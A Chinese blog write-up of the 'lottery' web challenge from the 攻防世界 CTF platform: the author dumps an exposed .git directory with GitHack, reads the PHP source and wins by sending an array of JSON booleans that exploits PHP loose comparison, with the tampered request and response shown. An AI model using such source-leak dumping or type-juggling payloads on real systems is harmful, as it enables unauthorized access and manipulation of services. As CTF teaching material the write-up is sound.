攻防世界Web lottery

原创

Warning 于 2019-05-04 17:26:27 发布 5426 收藏 2
分类专栏： Web学习

lottery

开心！虽然第一次遇到git源码泄露写了好久，但是写出来了就很开心~~

打开界面我们知道，要拿到flag，就要赢到足够的钱，其实一开始我以为可以找到一个地方直接修改余额什么的，把网页源代码中的文件看了几个都没发现突破口……

然后又没思路了……

尝试了一下robots.txt，想看看有没有什么文件，然后发现了：

```
User-agent: *
Disallow: /.git/
```

瞬间振奋.jpg

百度了一下发现应该是git源码泄露，下载了GitHack（下载地址）

然后用GitHack扫描url：

```
PS D:\CTFTool\GitHack-master\GitHack-master> py -2 GitHack.py http://111.198.29.45:30181/.git/
[+] Download and parse index file ...
account.php
api.php
buy.php
check_register.php
config.php
css/main.css
favicon.ico
footer.php
header.php
index.php
js/buy.js
js/register.js
logout.php
market.php
register.php
robots.txt
[OK] account.php
[OK] api.php
[OK] buy.php
[OK] check_register.php
[OK] css/main.css
[OK] favicon.ico
[OK] config.php
[OK] header.php
[OK] index.php
[OK] js/buy.js
[OK] footer.php
[OK] js/register.js
[OK] logout.php
[OK] market.php
[OK] register.php
[OK] robots.txt
PS D:\CTFTool\GitHack-master\GitHack-master>
```


发现了api.php，这时候源码已经下载下来了，打开api.php的源码：

```php
function buy($req){
    require_registered();
    require_min_money(2);

    $money = $_SESSION['money'];
    $numbers = $req['numbers'];
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
    switch ($same_count) {
```


在买彩票这里的函数：

其中 `$numbers` 来自用户json输入 `{"action":"buy","numbers":"1122334"}`，没有检查数据类型。`$win_numbers` 是随机生成的数字字符串。

使用 PHP 弱类型松散比较，以"1"为例，和TRUE,1,"1"相等。 由于 json 支持布尔型数据，因此可以抓包改包，构造数据：

```
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=be4e919d6a49626fdeb162769d791fea
Connection: close

{"action":"buy","numbers":[true, true, true, true, true, true, true]}
```

```
{"status":"ok","numbers":[true,true,true,true,true,true,true],"win_numbers":"9439992","money":10000
04,"prize":5000000}
```

构造两次钱就够了（要注意当生成的win_number中不含0时才会得5000000，构造两次得的钱不够的话再构造一次就好了）